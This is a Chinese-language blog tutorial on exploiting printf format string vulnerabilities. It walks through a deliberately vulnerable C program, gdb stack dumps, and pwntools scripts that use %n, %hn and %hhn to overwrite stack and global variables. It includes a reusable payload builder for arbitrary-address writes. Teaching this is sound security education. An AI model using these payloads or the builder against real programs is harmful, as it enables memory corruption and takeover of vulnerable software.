但是,并不是说所有的偏移机器字长的整数倍,可以让我们直接相应参数来获取,有时候,我们需要对我们输入的格式化字符串进行填充,来使得我们想要打印的地址内容的地址位于机器字长整数倍的地址处,一般来说,类似于下面的这个样子。

1
[padding][addr]

注意:我们不能直接在命令行输入 \ x0c\xa0\x04\x08%4$s 这是因为虽然前面的确实是 printf@got 的地址,但是,scanf 函数并不会将其识别为对应的字符串,而是会将 ,x,0,c 分别作为一个字符进行读入。下面就是错误的例子。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
0xffffccfc│+0x00: 0x080484ce  →  <main+99> add esp, 0x10   ← $esp
0xffffcd00│+0x04: 0xffffcd10  →  "\x0c\xa0\x04\x08%4$s"
0xffffcd04│+0x08: 0xffffcd10  →  "\x0c\xa0\x04\x08%4$s"
0xffffcd08│+0x0c: 0x000000c2
0xffffcd0c│+0x10: 0xf7e8b6bb  →  <handle_intel+107> add esp, 0x10
0xffffcd10│+0x14: "\x0c\xa0\x04\x08%4$s"$eax
0xffffcd14│+0x18: "\xa0\x04\x08%4$s"
0xffffcd18│+0x1c: "\x04\x08%4$s"
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ trace ]────
[#0] 0xf7e44670 → Name: __printf(format=0xffffcd10 "\\x0c\\xa0\\x04\\x08%4$s")
[#1] 0x80484ce → Name: main()
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
gef➤  x/x 0xffffcd10
0xffffcd10:   0x6330785c

覆盖内存

前面我们已经利用格式化字符串来泄露栈内存以及任意地址内存,其实只要变量对应的地址可写,我们就能利用格式化字符串修改其对应的数值,这里用到%n,这是printf函数唯一的写入操作

1
%n,不输出字符,但是把已经成功输出的字符个数写入对应的整型指针参数所指的变量。

例如printf(“AAAA%n”, &var),会将4写入变量var的内存地址中,因为AAAA是4个字符

覆盖栈内存

例子的程序代码

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
/* example/overflow/overflow.c */
#include <stdio.h>
int a = 123, b = 456;
int main() {
  int c = 789;
  char s[100];
  printf("%p\n", &c);
  scanf("%s", s);
  printf(s);
  if (c == 16) {
    puts("modified c.");
  } else if (a == 2) {
    puts("modified a for a small number.");
  } else if (b == 0x12345678) {
    puts("modified b for a big number!");
  }
  return 0;
}

类似前面泄露内存的方法,我们可以构造形如下面的payload

1
...[overwrite addr]....%[overwrite offset]$n

也就是确定覆盖地址,确定偏移,最后进行覆盖

确定覆盖地址

首先要确定栈变量c的地址,但是目前几乎上所有的程序都开启了 aslr 保护,所以栈的地址一直在变,所以我们这里故意输出了 c 变量的地址。

确定偏移

跟前面的操作一样,通过gdb调试我们也可以看到

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
 → 0xf7e44670 <printf+0>       call   0xf7f1ab09 <__x86.get_pc_thunk.ax>
   ↳  0xf7f1ab09 <__x86.get_pc_thunk.ax+0> mov    eax, DWORD PTR [esp]
      0xf7f1ab0c <__x86.get_pc_thunk.ax+3> ret
      0xf7f1ab0d <__x86.get_pc_thunk.dx+0> mov    edx, DWORD PTR [esp]
      0xf7f1ab10 <__x86.get_pc_thunk.dx+3> ret
────────────────────────────────────────────────────────────────────────────────────[ stack ]────
['0xffffcd0c', 'l8']
8
0xffffcd0c│+0x00: 0x080484d7  →  <main+76> add esp, 0x10     ← $esp
0xffffcd10│+0x04: 0xffffcd28  →  "%d%d"
0xffffcd14│+0x08: 0xffffcd8c  →  0x00000315
0xffffcd18│+0x0c: 0x000000c2
0xffffcd1c│+0x10: 0xf7e8b6bb  →  <handle_intel+107> add esp, 0x10
0xffffcd20│+0x14: 0xffffcd4e  →  0xffff0000  →  0x00000000
0xffffcd24│+0x18: 0xffffce4c  →  0xffffd07a  →  "XDG_SEAT_PATH=/org/freedesktop/DisplayManager/Seat[...]"
0xffffcd28│+0x1c: "%d%d"$eax

这里我们可以看到0xffffcd14存放着变量c的值,然后0xffffcd28这里对应的是第6个参数,所以确定偏移是6

我们的目标是修改变量c的值为16,使它满足条件进行输出,也就是构造payload

1
[addr_c]%012d%6$n

这里是因为我们需要在%6$n前面填入16个字节,而变量c的地址只有4个字节,还需要12个字节,%012d 会打印一个数字并用 0 填充至 12 位宽度

最后脚本如下

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
def forc():
    sh = process('./overwrite')
    c_addr = int(sh.recvuntil('\n', drop=True), 16)
    print(hex(c_addr))
    payload = p32(c_addr) + '%012d' + '%6$n'
    print(payload)
    #gdb.attach(sh)
    sh.sendline(payload)
    print(sh.recv())
    sh.interactive()
forc()

运行后结果成功把c改成了16

1
2
3
0xfffd8cdc
܌��%012d%6$n
܌��-00000160648modified c.
覆盖任意地址内存

覆盖小数字

如果我们想要修改变量的值为小数字,就以上面程序为例,我们想要修改变量a的值为2,如果按照上面的方法的话,把a的内存地址放在最前面会占4个字节,我们是不可能修改a的值为2的,这里我们其实不一定要把变量a的地址放在最前面,就像我们计算偏移的时候,[tag]的位置也不一定要在最前面,放在中间也是可以的,只有知道偏移就行,这里我们想要把2写到a的地址处,所以格式化字符串前面的字节必须是

1
aa%k$nxx

前面说过我们格式化字符串是第6个参数,这里aa%k作为第6个参数,$nxx作为第7个参数,那我们后面填入的变量a的地址就是第8个参数了,所以这里的偏移k=8

exp

1
2
3
4
5
6
7
def fora():
    sh = process('./overwrite')
    a_addr = 0x0804A024
    payload = 'aa%8$naa' + p32(a_addr)
    sh.sendline(payload)
    print(sh.recv())
    sh.interactive()

这里printf先输出aa,遇到%8$n寻找第8个参数写入2,然后再打印剩下的aa,所以运行结果如下

1
2
0xffc1729c
aaaa$\xa0\x0modified a for a small number.

其实,这里我们需要掌握的小技巧就是,我们没有必要把地址放在最前面,放在哪里都可以,只要我们可以找到其对应的偏移即可。

覆盖大数字

理论上是可以输入大量的字节数来覆盖,但是正常来说不会成功,因为太长了

这里还是以上面程序为例,我们要把变量b改成0x12345678,0x12345678 在内存中由低地址到高地址依次为 \ x78\x56\x34\x12,我们可以回忆一下格式化字符串里面的标志,可以发现有这么两个标志:

1
2
hh 对于整数类型,printf期待一个从char提升的int尺寸的整型参数
h  对于整数类型,printf期待一个从short提升的int尺寸的整型参数

所以说,我们可以利用 %hhn 向某个地址写入单字节,利用 %hn 向某个地址写入双字节。

这里我们用单字节,首先查看一下变量b的地址

1
2
.data:0804A028                 public b
.data:0804A028 b               dd 1C8h                 ; DATA XREF: main:loc_8048510r

所以我们预期的想法是以如下方式覆盖

1
2
3
4
0x0804A028 \x78
0x0804A029 \x56
0x0804A02a \x34
0x0804A02b \x12

由于我们偏移是6,所以我们的payload大致如下

1
p32(0x0804A028)+p32(0x0804A029)+p32(0x0804A02a)+p32(0x0804A02b)+pad1+'%6$n'+pad2+'%7$n'+pad3+'%8$n'+pad4+'%9$n'

这里pad是要补的字节数,下面给出构造的板子

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
def fmt(prev, word, index):
    if prev < word:
        result = word - prev
        fmtstr = "%" + str(result) + "c"
    elif prev == word:
        result = 0
    else:
        result = 256 + word - prev
        fmtstr = "%" + str(result) + "c"
    fmtstr += "%" + str(index) + "$hhn"
    return fmtstr


def fmt_str(offset, size, addr, target):
    payload = ""
    for i in range(4):
        if size == 4:
            payload += p32(addr + i)
        else:
            payload += p64(addr + i)
    prev = len(payload)
    for i in range(4):
        payload += fmt(prev, (target >> i * 8) & 0xff, offset + i)
        prev = (target >> i * 8) & 0xff
    return payload
payload = fmt_str(6,4,0x0804A028,0x12345678)
  • offset 表示要覆盖的地址最初的偏移

  • size 表示机器字长

  • addr 表示将要覆盖的地址。

  • target 表示我们要覆盖为的目的变量值。

这里刚开始的地址占了16字节,我们第一个地址要填入120字节,所以填入%104c%6$hhn,接着第二个地址需要填入86字节,但是我们已经打印了120字节,利用溢出,打印256+86-120字节,所以填入%222c%7$hhn,这里因为是%hhn,所以0x156被%hhn截取得到0x56,也就是写入86字节,后面以此类推

然后exp就调这个函数就行了

1
2
3
4
5
6
7
def forb():
    sh = process('./overwrite')
    payload = fmt_str(6, 4, 0x0804A028, 0x12345678)
    print(payload)
    sh.sendline(payload)
    print(sh.recv())
    sh.interactive()

最后结果如下

1
2
3
4
5
6
python exploit.py
[+] Starting local process './overwrite': pid 78547
(\xa0\x0)\xa0\x0*\xa0\x0+\xa0\x0%104c%6$hhn%222c%7$hhn%222c%8$hhn%222c%9$hhn
[*] Process './overwrite' stopped with exit code 0 (pid 78547)
0xfff6f9bc
(\xa0\x0)\xa0\x0*\xa0\x0+\xa0\x0     

例子

Licensed under 9u_l3
使用 Hugo 构建
主题 StackJimmy 设计